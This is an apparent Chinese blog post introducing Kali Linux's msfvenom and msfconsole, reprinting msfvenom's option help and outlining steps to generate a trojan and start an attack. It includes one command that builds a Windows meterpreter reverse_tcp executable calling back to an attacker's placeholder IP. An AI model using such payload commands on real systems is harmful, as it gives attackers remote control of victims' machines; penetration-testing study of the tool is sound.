美文网首页
linux-kali msfvenom和msfconsole

linux-kali msfvenom和msfconsole

作者: Enomothem | 来源:发表于2019-04-30 22:34 被阅读0次

msfvenom 生成病毒、木马

Options:

    -p, --payload      <payload>    Payload to use. Specify a '-' or stdin to use custom payloads

        --payload-options            List the payload's standard options

    -l, --list          [type]      List a module type. Options are: payloads, encoders, nops, all

    -n, --nopsled      <length>    Prepend a nopsled of [length] size on to the payload

    -f, --format        <format>    Output format (use --help-formats for a list)

        --help-formats              List available formats

    -e, --encoder      <encoder>    The encoder to use

    -a, --arch          <arch>      The architecture to use

        --platform      <platform>  The platform of the payload

        --help-platforms            List available platforms

    -s, --space        <length>    The maximum size of the resulting payload

        --encoder-space <length>    The maximum size of the encoded payload (defaults to the -s value)

    -b, --bad-chars    <list>      The list of characters to avoid example: '\x00\xff'

    -i, --iterations    <count>      The number of times to encode the payload

    -c, --add-code      <path>      Specify an additional win32 shellcode file to include

    -x, --template      <path>      Specify a custom executable file to use as a template

    -k, --keep                      Preserve the template behavior and inject the payload as a new thread

    -o, --out          <path>      Save the payload

    -v, --var-name      <name>      Specify a custom variable name to use for certain output formats

        --smallest                  Generate the smallest possible payload

    -h, --help                      Show this message

msfconsole 集中控制台


msfconsole 模块

1.生成木马

2.设置界面程序

3.输入命令开始攻击

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ip address] port=4444  -f exe -o 1.exe

相关文章

网友评论

      本文标题:linux-kali msfvenom和msfconsole

      本文链接:https://www.haomeiwen.com/subject/hlxshqtx.html